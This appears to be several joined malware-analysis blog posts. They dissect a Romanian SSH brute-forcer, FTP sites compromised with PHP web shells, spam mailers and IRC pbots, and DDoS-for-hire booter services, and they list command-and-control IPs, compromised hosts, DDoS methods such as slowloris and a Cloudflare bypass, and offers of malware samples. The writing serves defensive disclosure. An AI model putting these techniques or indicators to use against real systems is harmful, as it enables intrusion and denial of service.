0x804872B    sub     esp, 0Ch
0x804872E    push    offset aUndeIPass_file ; contains "Unde-i pass_file\n"
0x8048733    call    sub_8099CA0
0x8048738    add     esp, 4
0x804873B    push    eax

";; Reversed section: .text ADDR: 0x80484C2-0x804852D"
; File: "ssh_scan" 93df64cc0ff902ad1e80ada56023610ec2c44c3ecde2d36d37a3a748c7fd42bd
; asm:
0x80484C2    sub     esp, 8
0x80484C5    push    offset aA  ; contains:  "a+"
0x80484CA    push    offset aVuln_txt ; contains: "vuln.txt"
0x80484CF    call    sub_809A210
0x80484D4    add     esp, 10h
0x80484D7    mov     [ebp+var_9C], eax
0x80484DD    sub     esp, 8
0x80484E0    push    [ebp+arg_8]
0x80484E3    push    [ebp+arg_4]
0x80484E6    push    [ebp+arg_0]
0x80484E9    lea     eax, [ebp+var_88]
0x80484EF    push    eax
0x80484F0    push    offset aSSSS ; contains: "%s%s:%s:%s\n"
0x80484F5    push    [ebp+var_9C]
0x80484FB    call    sub_8099C70
0x8048500    add     esp, 20h
0x8048503    sub     esp, 0Ch
0x8048506    push    [ebp+arg_8]
0x8048509    push    [ebp+arg_4]
0x804850C    push    [ebp+arg_0]
0x804850F    lea     eax, [ebp+var_88]
0x8048515    push    eax
0x8048516    push    offset aSlAmprins___SS ; contains: 
"%sL-amPrins... !! ->%s:%s:%s\n"
0x804851B    call    sub_8099CA0
0x8048520    add     esp, 20h
0x8048523    mov     ds:dword_811A680, 1
0x804852D    jmp     short locret_8048545

DUP user:password:IP_ADDRESS
user:password:IP_ADDRESS
DUP user:password:IP_ADDRESS
user:password:IP_ADDRESS
DUP user:password:IP_ADDRESS
user:password:IP_ADDRESS

Nasty tool-set & scheme isn't it? :-|
FYI. Yes, we know now that Romanian coder is behind this attack (explaining the texts in Romanian).
Moving forward, the next section is explaining how we payback these attacker! :D

The Payback: Time for these moronz to sweat!

Knowing the nature of the threat and the technique to fool attacker (thank's to @wirehack), I can grab the email addresses that are used by the hackers to send back the SSH credentials extracted by the ssh_scan to their mailbox, and trust me..these data is on the way to law enforcement right now. Some of the tool-set of pscan & ssh_scan are accompanied by perl IRC bot which revealing some handle name too. To get the email address is actualy very easy. the attacker needs to get the data extracted by the SSH bruter, as per mentioned in reversing part above, the vuln.txt. Basically they just mail (literally, yes, mail!) this file to their malbox :-D
Well this method works very well as I gained about 20+ email addresses of the active bruter actors now.

Hey, bruter skido! It is time FOR YOU to sweat now! Expect some knock on your door! ;-))

I made the video of some of the hack tools we seized (not all, for security matter), to illustrate a how to for law enforcement agencies to detect, where and what exactly the email addresses of the attacker searched in each of the packages used. The video is also to PoC the above analysis with the real result that we can get from the attacker's environment.
Hopefully this detail writing and video will describe the disclosure anatomy of major SSH bruter that keep on coming hitting us in daily basis, to be used as knowledge for all of us to dissect and mitigate this attack in our servers. :-D

Stay save folks! And.. "Thou shalt not hack!"

#MalwareMustDie!

Enjoy the shares! #MalwareMustDie!

The background

If you are having an experience as a system administration in an ISP, IDC or etc internet portal, security issues is part of the job description; you'll deal with IDS alerts, IR cases, and some claims to follow in your watched network territory. In my day work, I am receiving the cases escalated to my mailboxes from sysadmins of various services for those cases. If you are a "sysadmin" maybe this post will be a fine reading to you.

This post is a story of a reported case, is also "sharable", thank you to our friend "Yin", a smart & efficient sysadmin which kindly tipping me suspicious sites suspected serving malicious service / activities, and allowing MMD to post the case here. According to Yin, the information was "extracted" from IDS information as an attempted PHP RFI attacks.

I was reported 6 cases in a form of 6 urls, I digged in to every url to find out the whole scheme of the threat, and as result, is rather big in volume and it looks it will take too long to analyze & write all of them, so I split the post into two parts Part 1 and Part 2, this is the Part one contains the 3 abused FTP sites analyzed, with the details that can be read from following sections. Enjoy!

Observation

I accessed the malicious sites detected as per shown in the below screenshots, and will call them as Case 1,2 and 3.

Case #1: PHP & ASP Spam Form, PHP Shell & Server Info Grabber Form.

I started with the first screeshot above. The first case, base on the deduction with the help of time stamps we can see that the first attempt of the hacker used is to upload the PHP WebShell in an obfuscated PHP code, used for uploading and compromising directories from the HTTP side with what it seems "like" the modded PHP shell:

The obfuscated codes are like:

Please noted the logic used to obfuscate the code in the marked part. We sees file of: config1.php, menu.php, help.txt contains these codes. I decoded this offline, in a shell operation using the PHP CLI in debug mode to dump the stdout into files (see the test*.html listed in the picture above? Those are the outputs) to be viewed / executed in my local environment, therefore I won't risk any unnecessary traffic when examining the object. A tip than can bring ideas to sysadmins to solve this fast & secure.

The information grabber, is spotted in the the form of uname, date (time zone check), current user and system environment, as per executed file x.php below:

THis data is not only to be shown in Web (Browser) UI output, but also being mailed to the bad actor, as he kindly left his email address :-)) in the source code snipped here:

And thankfully to his generosity, I gladly took a hint and search for more, found some more in xx.php:

I think God is very kind to me :-)

The next file that's been executed is this env.php, which looks like a PHP mailer tester codes..

The question is always WHY?.. Below is the explanation, pls find the rest of PHP script extracted data and guess what are they? :-)

Yes, these are SpamMailer in Web GUI, the spammer can input the Recipients, Subject, some has the Sender options, and then the BODY which is supporting to the HTML format. Very well coded. It is enough to send tons of spams.
The variation of the spambots design is showing that this site has been used several times by several groups hitting many spam campaigns. It is not surprising if we find the lookup address of this site's domain below to be in the blacklist:

This spam PHP is coded very well, below is the code to show attempt in faking X-header of email:

Is that all that we found? No, the spammer is not only relying on PHP as CGI engine for running the spam interface, but they are preparing the ASP program too!! Really?? Below is the snips:

So in this site we learn about the compromised FTP account was abused to be uploaded by PHP Web Shell, to upload PHP SpamBot. The things that we can see about the bad actor is from Brazil, and some email addresses that can lead to the bad actors.

Let's see another FTP site..

Case #2: The case of PHP IRC Bot with "direct"&"ELF+WinPE x64 client" DDoS tool

Let's move on to the second case. The files uploaded by the attacker are so few, we have 2 PHP files, then, one file that looks as WinPE (*.exe) file and an unknown file called "std". You can fire hexeditor or firing "file" command to know that the "std" file is an ELF x64 file. So what's this all about? Let's take a look into the PHP file first..

The both php files are actually same coded file. So I peek the wonka.php, found how the binaries was downloaded, by the function as per shown below:

Well this code roughly means, if they found the system is Windows it'll execute the CMD to run ftp command to download the WinPE binary, or else it will download the ELF binary with the "wget" command & save it with read-write-execution permission by the world, so anyone who access it can do anything he wants. Below is the snipped of the binaries:

What happened next is the execution of these binaries as per described in the below code. It wasn't that hard to read this obfuscation..it shows options of running the PE or the ELF that was previously downloaded.

What are those binaries? A simple "string" command in UNIX..

..can show you the string written as:

"Hitting %s on port %d for %s seconds"

#DDoS client, downloaded+exec via IRC spotted by @yinettesys, ELF & PE set VT = 0/53 (FUD) https://t.co/4YZJbN9T3yhttps://t.co/lNXjcpP6M8

— MalwareMustDie, NPO (@MalwareMustDie) May 30, 2014

Further observation of the PHP code you can find that the PHP is actually the IRC Bot, below is the connection that we currently trail to the actors :-)

If you dig deeper to the logic of Flood UDP in the script, it has some interesting additional attack method to help the mitigation.
If you wonder about the detection ratio of these PHP files, see these links: [1]&[2]

Let's close this case here and go to another site :-D

Case #3: PHP Pbot(IRC) & Perl Stealth Shellbot(IRC) with their WinPE payloads

I went to the 3rd case. In this site we can find two IRC bots installed: the Pbot (PHP) and Stealth ShellCode (Perl). It looks like the site itself is started to be injected by malicious stuff from February 25-26 this year, and the Perl ShellBot was first uploaded, following by the Pbot. In these session we see WinPE payloads was downloaded using the download scripts. And then following by the compromising in March, April and May (the month this post is written) with the same M.O., using different WinPE binaries as payloads.

We exposed PHP Pbot few times in our blog already and the IRC Stealth Shellbot also a publicly known well perl bot, so nothing new about these two bots to write, and below is the screenshot of the irc connection information used to run these bots:


You can see there are some files is having the same bot codes as these two, indicating the same bad actor is utilising this site over and over for their evil purpose.

The payloads & scripts were downloaded by the simple methods, here I snipped some code used to download:
What about the WInPE (*.exe) binaries? What are they?
Below is the hashes, is available all in VT.
I will not explain in details of analysis of these samples, but will be straight forward with the evidence of internet traffic they made, as following notes:

"wo1.exe", "r.exe", "r1.exe" pingbacked to ferrino.pl or web.ferrino.pl, both in A 46.36.37.68 and sending callback encrypted data of inspected host:

Same works spotted with "win32c.exe" which is trying to reach dead domain: ziarno.windows8software.net

Then "tc.exe" and "test.exe" are connecting SMTP (with TLS AUTH) to send infected environment data via poczta.o2.pl (193.17.41.99) with the recorded traffic below:

The downloads of Loader.exe, Installer.exe, in.exe were executed by the binary "wo.exe" (which was downloaded by wi.exe) and "wi.exe" as per recorded PCAP below:

It downloads RAR.exe too actually during infection in client's PC.

Loader.exe sends the POST request to the GATES to download more binary file from 37.187.99.73, as per below PCAP:

following with the regular pokes to CNC in same IP: 37.187.99.73:

And in the end the "in.exe and "installer.exe" are BitCoin Miner applications.

Conclusion and Samples

These cases' handling explain more options to dissect, mitigate and investigate the threat by performing the quick analysis of the sites that was popped up in the IDS alert, it will give us more IP addresses, email addresses, the account of the bad actors and their domains to tackle down this infection. So please do the same if make a thorough investigation upon a single URL that came to your watch, you will help to clean our internet by doing that.

Samples sharing will be is posted in here, all of it. Please give time for me to prepare the shares and cleaning the mess I made for this analysis first. Here's the link for downloading samples from these 3 cases (Part 1)-->[Enter Secure Code: 85980]. The archive's password is the generic common ones.

Please noted we are starting test run secure cushion for the external link, with the code provided in the link part (see the above's download link), as per announced here:

Due to reduce attacks to our servers, we test run a redirection scheme with secure code in URL/link. #MalwareMustDiepic.twitter.com/93jS8H9Fb7

— MalwareMustDie, NPO (@MalwareMustDie) June 1, 2014

I will continue to add the report of next sites later, so stay tune!
If you like this writing and find it useful, please kindly share to others too, your share is helping others to be more aware of these threats.

To be contined to be Part 2 - where we reveal more of latest IRC bot fnctions, DDoS attack codes used by those bots and evasion of Cloudflare, the anti DDoS logic, access is here-->>[Part2]

#MalwareMustDie!

Observation

In this part I will discuss the FTP hacked sites reported as per below snapshots, I will call them as Case 4, 5, 6, and 7 (bonus case), and NEW! Case 8 (additional)

Case #4: IRC Bot PHP Pbot(s) - The evolution begins..

As per explained in the first part, there were some IRC bots detected in the abused FTP sites reported, one of the bots called pbot(s), and in this part we will explain how the IRC Bot PHP Pbot evolved. In all of the cases 4, 5, 6 and 7 there are pbots found. I guess the IDS scanner can detect some significant strings to filter this contents of these bot's codes, good job!

I made some writings of pbot we cracked in there links: [1] and [2], with or without encoding or obfuscation in its codes. I think those cases was spotted around 2012 and January 2013. Back then the pbot was having so limited "weapon" functions in attacking, which were:

- TCP Flood
- UDP Flood
- Port Scanning

Now let's we take a peek to the Case #4, in each directory "a/"or "b/" injected in the root directory of this FTP service you can find the script called li.php, and this files looks was last updated in June 1 & May 31, 2014.

This"version" of pbot is having improvement in UDP Flood attack function, as per below codes, which is supporting to the multiple scanning:

..and also the downgrade of the TCP Flood function into a TCP Connecting function:

The operation method used as a "bot" is focusing in utilizing Windows shell command execution by multiple methods in executing it, with additional a option for execution via the Perl method. Below are the snippet methods used to execute Windows shell:

..and this is how the Perl is used to perform shell execution:

The shell execution methods above are then linked to the PHP "evil" functions to be used for the further operations by this pbot:

The IRC connection method used is similar as previous version, a classic method used some other bots too, with the an array as per below, containing the IRC server IP, port number, password, channel, and host's auth, with additional components to be used for forming a specific format of NICK, and USER (with using the $ident):

By simulating the above information, forming a fake NICK using the stated logic, following the forming of USER name below, we can start to pretend as a bot to connect their IRC server:

A simple test like below will confirm the actor's server status:

It seems like China network is under abused to be utilized as IRC's CNC for this case's attacker:

Check Date: Tue Jun  3 01:21:20 JST 2014
IP: 222.216.30.28
ASN: 4134
Network Prefix: 222.216.0.0/15
AS Name: CHINANET
Country: CN
ISP: CHINATELECOM.COM.CN
Company: CHINANET GUANGXI PROVINCE NETWORK

There are other very generic functions commonly used in IRC bots like: making PING PONG pokes, sending email using the PHP mail function, get the system environment via PHP uname, downloading stuffs to the compromised server by utilizing safe area in /tmp, etc.. which I don't explain in here since you'll see it in the samples shared too, as a very self explanatory codes.

The sample in VT is here-->>[VT]
Let's move on to the next cases...

Case #5: A bummer pbot (no comment)

In this case we are dealing with the file named as bot.php . Well.. wow.. it must be a crook with a very high self-confidence or very stupid or a greenhorn skids to hack an FTP with uploading such straight forward file name. Protip: If you find this kind of file in your watched servers just please delete it without asking, or send it to Virus Total first and delete it, OK? :-) Don't worry, it must be bad, either the file or the person who named it that way.

OK, the bot.php is also a pbot with the same version as we discussed in Case #4. The difference with the previous case is the IRC connection (below pic) and the way it slices packet size for UDP Flood:

A test drive...

13:12 -!- Irssi: Looking up 120.43.64.62
13:12 -!- Irssi: Connecting to 120.43.64.62 [120.43.64.62] port 10000
13:12 -!- Irssi: Unable to connect server 120.43.64.62 port 10000 [Connection refused]

The sample in VT is here-->>[VT]
OK, let's move on!

Case #6 & # 7: BTC miners & PWS PE payloads + Behold.. New fully weaponized Pbots..

This is the case where I found the Cloudflare DDoS mitigation code, as I tweeted below:

How #DDoS tool bypasses @CloudFlare guard (pic), I'll disclose it in "A journey to abused FTP" Pt-2 #MalwareMustDie! pic.twitter.com/kLjksPZIva

— Hendrik Adrian (@unixfreaxjp) June 1, 2014

These two FTP cases are so identical in its injected payloads, gesturing the same actors are behind these two compromised FTP incident, we'll see it later..
While both site's root directories are filled by the WinPE binaries that was shown in above screenshots in Observation part. Later on we know those as Bitcoin Miners & PWS, old stuff mostly made by VB or .NET, known malware with good detection rates, you can get the samples and feel free to analyze yourself but I must skip these analysis for having not much time to write.

And the "pub/" directories of both sites are filled with bots, just like the WinPE in the root directories, the pattern of both sites are the same, as per shown below:

What I marked with the yellow color are the pbot(s) with the version that has been discussed in the Case #4, and looks like we have the evolution in version which was marked in the red color. The rest of the files will be explained separately.

Since we know the characteristic of pbot by peeking closely to their code, we can quick analyze the source of attacker in mass injection files like this with a simple grep command, to see straight to the source, in my case I grep the bellow strings:

array("server"=>"

89.248.171.42 "chan"=>"#rhd"
89.248.171.43 "chan"=>"#rhd"
89.248.171.44 "chan"=>"#rhd"
89.248.171.45 "chan"=>"#rhd"
93.174.88.124 "chan"=>"#Xtreme"
94.102.63.134 "chan"=>"#Xtreme"
94.102.63.135 "chan"=>"#Xtreme"
94.102.63.136 "chan"=>"#Xtreme"
94.102.63.137 "chan"=>"#Xtreme"

124.php(3):    "server" =>"93.174.88.124", "chan"=>"#lsass"
newbot.php(3): "server" =>"89.248.171.54", "chan"=>"#lsass"
15.php(11):    "server" =>"89.248.171.54", "chan"=>"#news"
bot15.php(11): "server" =>"89.248.171.54", "chan"=>"#news"

The ECATEL, Netherlands network in ASN: 29073 and network of 89.248.170.0/23 and 94.102.48.0/20 are completely being abused by these attacker for the IRC network CNC on these bots:

89.248.171.42|hosted-by.ecatel.net.|29073 | 89.248.170.0/23 | ECATEL | NL | ECATEL.NET | ECATEL LTD
89.248.171.43|hosted-by.ecatel.net.|29073 | 89.248.170.0/23 | ECATEL | NL | ECATEL.NET | ECATEL LTD
89.248.171.44|hosted-by.ecatel.net.|29073 | 89.248.170.0/23 | ECATEL | NL | ECATEL.NET | ECATEL LTD
89.248.171.45|hosted-by.ecatel.net.|29073 | 89.248.170.0/23 | ECATEL | NL | ECATEL.NET | ECATEL LTD
89.248.171.54|hosted-by.ecatel.net.|29073 | 89.248.170.0/23 | ECATEL | NL | ECATEL.NET | ECATEL LTD
93.174.88.124|hosted-by.ecatel.net.|29073 | 93.174.88.0/21 | ECATEL | NL | WEBHOST.COM.AU | DEDICATED SERVERS
94.102.63.134||29073 | 94.102.48.0/20 | ECATEL | NL | ECATEL.NET | ECATEL LTD
94.102.63.135||29073 | 94.102.48.0/20 | ECATEL | NL | ECATEL.NET | ECATEL LTD
94.102.63.136||29073 | 94.102.48.0/20 | ECATEL | NL | ECATEL.NET | ECATEL LTD
94.102.63.137||29073 | 94.102.48.0/20 | ECATEL | NL | ECATEL.NET | ECATEL LTD

On June 3rd, 2014. Some of previous version of pbot (with only had udp/tcp attack) was upgraded into the fully weaponized (with multiple L7 DDoS attack functionalities). There is no new IP for IRCd (CNC) used, but now we know precisely the meaning of the fikename is the last block of the IP address that is being used as CNC < this is a PoC that these crook is really using the segment of network described in the above list and utilizing it for the attack, No one will name an attack bot as IP address 42,43,44,45 which matched to the IP addresses used unless owning that network. Owning by the meaning maybe by hack, or.. more like by rent. Below is my tweet answering MR. Rik van Duijn's question about this matter, with the sample share:

.@rikvduijn They upgraded previous #pbot into fully weaponized #DDoS ver@Jun 3rd. No New #CNC. Filename = IP. Sample: http://t.co/2q5Kyky85s

— Hendrik Adrian (@unixfreaxjp) June 4, 2014

Well, we know the source of attacker. Now what is inside of the recent version of pbot and what is its difference with the previous version? Below are the explanation with the screenshots:

Basic function improved

The way they use the channel and connection are very specific:

This pbot version is having a set of User Agent for HTTP purpose (DDoS), as per listed below:

In this version, in forming the NICK the GeoIP codes is implemented:

There are some messages in Portuguese language, advising the coder's is from country that is speaking that language.

.@YonDou3 I suspected Brasil to be location of coder. Maybe whole group are in there too @simps0n@anthonyaykut@VriesHd /banging their ircd

— MalwareMustDie, NPO (@MalwareMustDie) June 2, 2014

..and a lot of etc new bot functions which is improving the quality of the previous version pretty much, you can see it in the source code that will be shared later on.

Heavily armed and dangerous..

For the attack functionality this recent new pbot version has:

- udpflood
- httpflood (NEW!)
- synflood (IMPRPOVED!)
- slowlorrisflood (NEW!)
- rudyflood (NEW!)
- armeflood (NEW!)
- cloudflareflood (NEW!)
- tcpflood (IMPROVED)
- Data Cha0s Connect Back Backdoor (NEW)

httpflood ; OK, at least now we know how user-agent is used :-)

synflood ; I personally not thinking SYN attack is new, but it is in a pbot..(at least for me) so here's the snips:

tcpflood ; Well.. this attack is not a dummy attack anymore.. Finally they figured a way to code this section :)

slowlorrisflood ; This is a DDoS method in sending packet without a haste to flood by using GET or POST, the logic is very interesting as per detailed below, the DDoS guard industries must review this code and start to make mitigation of this logic. Ref-->[link]

armeflood ; It's an attack focusing the HEAD flood request to the victims :

rudyflood ; I have no idea why this were named as "rudy" :-) But it is flooding victims with randomizing packet size and toying with the combination request Content-Length looks like the main purpose to DoS the victim's server:

cloudflareflood ; This is as per it sounds, a nasty code meant to evade Cloudflare. I tweeted this mentioning to Cloudflare to mitigate this code as soon as possible. Below is the attack logic:

If you see the CURL command used in above functions, is the homemade function actually:

"Data Cha0s Connect Back Backdoor"; Wow..what a name! :D This evil code is actually hidden in conback($ip, $port) function here:

The logic is simply decoding & save the base64 blob into a .pl file, and executing it by perl. What was decoded is actually a SHELL in Perl:

I think that's it for the recent Pbot. For mitigation purpose, please learn the full code that can be seen in the samples (shared to the security community only).
The virus Total detection is as following result in each samples spotted: [-1-] [-2-] [-3-] [-4-]

The last mistery to solve is HOW the WinPE binary got into the root of this FTP server. It is answered by the rest of scripts located in "/pub", which are win.php. test.php and wink.php. These scripts looks like a helper of the pbot, to be executed for downloading the other files as per commanded by the bot herder. Well, the codes says thousand words, please see below snippets:

You can see the multiple method used to download those binaries. Mistery is solved :-)

Conclusion, infected IP, VT and samples

So now we see how much we can get by investigating only several URLs. Every alert is worth to investigate as deep as this (or I may say I expect deeper since I do this after day work only). You will never know what you will find unless you dive-in to it. Thank's again to "Yin" for allowing me to write this to raise awareness.

The PHP IRC pbot itself evolved from the to be a dangerous threat since the first time we covered 2 years ago. However the nature of itself is the same, like using PHP ..yet using Perl also, the way it connects the channel, and so on.. So it is very good to know each bots characteristic.
Pbot is now weaponized with many L7 DDoS attack pattern.

If you take a look into the www.digitalattackmap.com link-->(here) to view the current on going DDoS attack traffic to USA and it sources. I snapshot the map as per shown below, you will see that the countries related to the source of attackers disclosed in this series of posts is matched and I marked them in red circles in the map below:
I have no doubt that this findings is actually disclosing groups of DDoS attacker "skids".

I must urge to investigate deeper the IRC channels and the individuals who are running this L7 DDoS show, the ID is all there and is not a hard thing to infiltrate, so if you are familiar enough with IRC you can join our mission in visiting these servers to gain more intel that can get into a cyber crime cases to teach these skids a lesson.

Samples are shared in this URL with the secure code-->>[Secure Code: 110369]

The overall Part 1 and 2 mentioned compromised FTP information we announced as per below FTP url, IP addresses, Network Information and GeoIP. For the purpose to ask your help to clean up these infection;

ftp:// agunsa .cl/
ftp:// 192.210.235 .101/
ftp:// 37.187.99 .73/
ftp:// 188.165.74 .149/pub/
ftp:// 37.59.68 .30/pub/
ftp:// 204.44.81 .9/
ftp:// edge.leet .la/

200.72.244.167 
200.27.146.162
192.210.235.101
37.187.99.73
188.165.74.149
37.59.68.30
204.44.81.9
79.114.113.196

200.72.244.167||6471 | 200.72.224.0/19 | ENTEL | CL | ENTEL.CL | ENTEL CHILE S.A.
200.27.146.162||6429 | 200.27.128.0/19 | Telmex | CL | AGUNSA.CL | TELMEX CHILE INTERNETS.A.
192.210.235.101||36352 | 192.210.232.0/22 | AS-COLOCROSSING | US | COLOCROSSING.COM | VPS6.NET LP
37.187.99.73|cpe-92-37-48-248.dynamic.bluedesign.si.|16276 | 37.187.0.0/16 | OVH | FR | OVH.COM | OVH SAS
188.165.74.149||16276 | 188.165.0.0/16 | OVH | NL | OVH.COM | OVH SAS
37.59.68.30||16276 | 37.59.0.0/16 | OVH | FR | OVH.COM | OVH SAS
204.44.81.9|204.44.81.9.static.virtuaclub.com.|29761 | 204.44.64.0/18 | AS-QUADRANET | US | QUADRANET.COM | QUADRANET INC
79.114.113.196|79-114-113-196.rdsnet.ro.|8708 | 79.112.0.0/13 | RCS | RO | RDSNET.RO | RCS & RDS RESIDENTIALI

200.72.244.167, Santiago, Chile, SA
200.27.146.162, Santiago, Chile, SA
192.210.235.101, New York, United States, NA
37.187.99.73, , France, EU
188.165.74.149, , France, EU
37.59.68.30, , France, EU
204.44.81.9, , United States, NA
79.114.113.196, Timisoara, Romania, EU

Case 8: The hack scheme for BitCoin Mining using Perl Bot RFI scanner

This case is an additional, the last one, I received the report afterwards. The case is interesting so I decided to add this post's contents. It is about the hack attempt using many bots for spreading BitCoin Miners. The actor is hacking webapp RFI vulnerable services, injecting the bots and installing the bitcoin mining servers and applications in the compromised system, and then using the exploited system as a base to infect other services too.

The overall file list can be viewed in the snapshot above (the last one)-->>here. and the diagram below is the summary that I made to explain the legend of components that had been spotted in this act:

The classification of the files above "if" we want to see it by firing "file" is as per below:

But there are some mis detect also, for those let's do the manual check.

How the hack scheme is working

Before jump into details I will explain how the hack was done by the components above. The circle of this hack attempt was started by scanning using the Perl Bot/IRC called "perlb0t" (too obvious name..), and scanning for the RFI vulnerable sites and attack them to gain exploit. When shell was gained, what they do is injecting the site with file of "update" (or "c) which contains the code below to download the installer "a", and executed it:

The installer will run the below codes to preparing evil, installation to download miners and bots, and then running them without leaving any trace:

This is the initiation setup that was made by hacker after gaining this site, and preparing some remote executable scripts to download from this site and install to another machine like the "bot" script in PHP below:

The ELF files are UPX packer software, but "clamav" and "sh" are minerd, a known bitcoin miner daemon:

.rodata:0x06C318  Usage: minerd [OPTIONS]
.rodata:0x06C330  Options:
.rodata:0x06C339    -a, --algo=ALGO       specify the algorithm to use
.rodata:0x06C36E                            scrypt    scrypt(1024, 1, 1) (default)
.rodata:0x06C3AF                            sha256d   SHA-256d
.rodata:0x06C3DC    -o, --url=URL         URL of mining server (default: http://127.0.0.1:9332/)
.rodata:0x06C42B    -O, --userpass=U:P    username:password pair for mining server
.rodata:0x06C46C    -u, --user=USERNAME   username for mining server
.rodata:0x06C49F    -p, --pass=PASSWORD   password for mining server
.rodata:0x06C4D2        --cert=FILE       certificate for mining server using SSL
.rodata:0x06C512    -x, --proxy=[PROTOCOL://]HOST[:PORT]  connect through a proxy
.rodata:0x06C552    -t, --threads=N       number of miner threads (default: number of processors)
.rodata:0x06C5A2    -r, --retries=N       number of times to retry if a network call fails
.rodata:0x06C5EB                            (default: retry indefinitely)
.rodata:0x06C623    -R, --retry-pause=N   time to pause between retries, in seconds (default: 30)
.rodata:0x06C673    -T, --timeout=N       network timeout, in seconds (default: 270)
.rodata:0x06C6B6    -s, --scantime=N      upper bound on time spent scanning current work when
.rodata:0x06C703                            long polling is unavailable, in seconds (default: 5)
.rodata:0x06C752        --no-longpoll     disable X-Long-Polling support
.rodata:0x06C789        --no-stratum      disable X-Stratum support
.rodata:0x06C7BB    -q, --quiet           disable per-thread hashmeter output
.rodata:0x06C7F7    -D, --debug           enable debug output
.rodata:0x06C823    -P, --protocol-dump   verbose dump of protocol-level activities
.rodata:0x06C865    -S, --syslog          use system log for output messages
.rodata:0x06C8A0    -B, --background      run the miner in the background
.rodata:0x06C8D8        --benchmark       run in offline benchmark mode
.rodata:0x06C90E    -c, --config=FILE     load a JSON-format configuration file
.rodata:0x06C94C    -V, --version         display version information and exit
.rodata:0x06C989    -h, --help            display this help text and exit
.rodata:0x06C9C8  accepted: %lu/%lu (%.2f%%), %s khash/s %s
.rodata:0x06C9F8  DEBUG: job_id=^%s^ extranonce2=%s ntime=%08x
.rodata:0x06CA28  Stratum connection interrupted
.rodata:0x06CA48  {^method^: ^getwork^, ^params^: [], ^id^:0}
.rodata:0x06CA78  DEBUG: stale work detected, discarding
.rodata:0x06CAA0  {^method^: ^mining.submit^, ^params^: [^%s^, ^%s^, ^%s^, ^%s^, ^%s^], ^id^:4}
.rodata:0x06CAF0  submit_upstream_work stratum_send_line failed
.rodata:0x06CB20  {^method^: ^getwork^, ^params^: [ ^%s^ ], ^id^:1}

Perl IRC/Bot "perlb0t"

This bot is nasty, and responsible for the RFI scanning and exploiting vulnerable hosts for being used to install bitcoin mining. "lol" and "plm" are these bot files. The highlights of this bot I'll paste it in images snipped below.

The IRC connection (CNC):

The host's port scanner
And this is how it scans the RFI vulnerability:
As you can see the path of "/SQuery/lib/gore.php?libpath=" is aiming the exploit shown in-->>here with more reference in-->>here
There is an interesting function called "Spreader" which actually searching for specific query of site via Google search engine, first they are preparing domains in an array:

And excute the search by Google API as per below:

And the HTTP query is formed here:

The other Perl bot (file: s0nia, php) called "Power Bot" is not that interesting at all and contains the basic bots as usual portscanner & basic HTTP flood attacks, with remote IRC connect, backconnect, and so on.., and the pbot (botphp file) found is the older version. So it is faster if you see the shared sample directly.

The CNC of this case are:
All of downloads are linked to OVH IP addess:

Req time: Wed Jun  4 22:50:59 JST 2014
UP: 176.31.255.138
Result: ns388807.ovh.net.|16276 | 176.31.0.0/16 | OVH | FR | OVH.COM | OVH SAS

myircd.wha.la port: 3303 Nick: LINUX
oakleyharrod.mooo.com port: 3303 Nick: Bot
topsrv.us.to port: 3303 Nick Pma
topsrv.us.to port: 3303 Nick JSP

77.92.147.142|static-142-147-92-77.sadecehosting.net.|42910 | 77.92.147.0/24 | SADECEHOSTING | TR | SADECEHOSTING.COM | HOSTING INTERNET HIZMETLERI SANAYI VE TICARET ANONIM SIRKETI
85.214.70.175||6724 | 85.214.0.0/15 | STRATO | DE | STRATO.DE | STRATO AG
213.152.3.19|eleves.dev.advoo.fr.|8218 | 213.152.0.0/19 | NEO | FR | NEOTELECOMS.COM | NEO TELECOMS S.A.S.

The Case #8 samples can be download here after you fill the secure code-->>[Secure Code: 54349398].

And the VT links for these bot files are: [-1-] [-2-] [-3-] [-4-] [-5-]

Following the CNC network information gathered from this post's investigation, leading us to the DDoS're or Booter (or Stresser) services that are involved in using hacked FTP sites/accounts and utilizing the hacked server for performing DDoS activity. The DDoS'er services that is proven connected to this hack attack is posted in the next report, together with some popular DDoS'er tools covered, in here -->>[MMD Next Blog]

It's been a long writing, if you think it is useful and can help others, do not keep this information to your self but spread it out, it is good to make more sysadmins aware of these details. Stay safe, folks!

#MalwareMustDie!

The background

This is an explanation on why we are aiming "some" #DDoS'er/booters/stresser recently: http://t.co/pdXPBuJGbl #MalwareMustDie via @reddit

— MalwareMustDie, NPO (@MalwareMustDie) June 11, 2014

DDoS as Service

DDoS and their services are not a new stuff. These services are cleverly hiding their maliciousness under the words of "for education" or "for tester" and so on, in their promotion or TOS statement written in their public home pages or via description in the demonstration videos they uploaded to some video sites. However, if you see some XXX and YYY communities where hackers are gathered, these services are making strong campaign in a very different tone, the usage of terms like "powerful", "hit", "takedown" and so on came up in the surface that are suggesting attack tools in promotion. Further, we can see screenshots of "success attack" in real cases that were openly shared to proof how "powerful" their services are. The video posted in here will explain more than words of the previous statements. So the market is there, with youngsters are in majority, and we can say it is a fruitful steady money to catch, explaining the competitive promotion.

Among tons of "DDoS'er As Service" spotted, the below list is some that I picked to study. I extracted their campaign and details information in the snapshots of campaign images & videos in the next section, some are including a bit of comments.

NetGuard
Big Bang Booter
Critical Stresser
Wrath Stresser
Apocalypse Stresser
Titanium Stresser

Collected Items

For MMD friends' who like this collection, I gathered some of the campaign materials they are using. Well, they really love to use a real (literally..in size) long promotion which mentioning similar terms in pricing, duration on service and TOS. With reckoning one same term that they all used: a no refundable payment :-)

In a short limited time I can managed to compile videos of these services that contains the demonstration (to be clear: is what they provided, not me), is a quite good reference for learning what these are actually about:

Some DDoS/Stresser/Booter terms to know..

During investigation on these attacker services, finally I also learned a "trend" of recent terms used by these DDoS'er with the correct explanation collected below which can be used as quick reference for the attack method or in the scripts that they are using during checking infected sites by these attacker's front end tools. We mentioned the same explanation in previous post in investigating their attacker scripts, but this explanation is more accurate, is a very good know how to know :

1. UDP Flood

2. Chargen

3. UDPLag:

4. ESSYN Flood

5. Slowloris

6. Rudy (R U Dead Yet)

7. ARME

8. Resolver

Along with the investigation we collected and secured the recent source codes that has been used for DDoS activities, together with its companion the amplification IP address list, and also grabbed some know how that's been shared in the xxx lair by the skids and hackers. Below is the video of what is shared, check it first to make sure that you need it or not:

The download for the package (5.32 MB) is here-->>[Secure Code: 777022].
You will need the password for the archive, so please put comment in the bottom of this post for the request & explaining a bit about who you are, why you need the source code, and where we can contact you (no comment will be published).
The purpose of the sharing is to raise scan detection ratio for those codes/scrips/binaries, forwarding the knowledge used by attacker to the DDoS prevention entities, a share to the security community who's fighting this threat. We don't take any responsibility of the mis-used of the shared material passed to the unknown third parties.

Epilogue

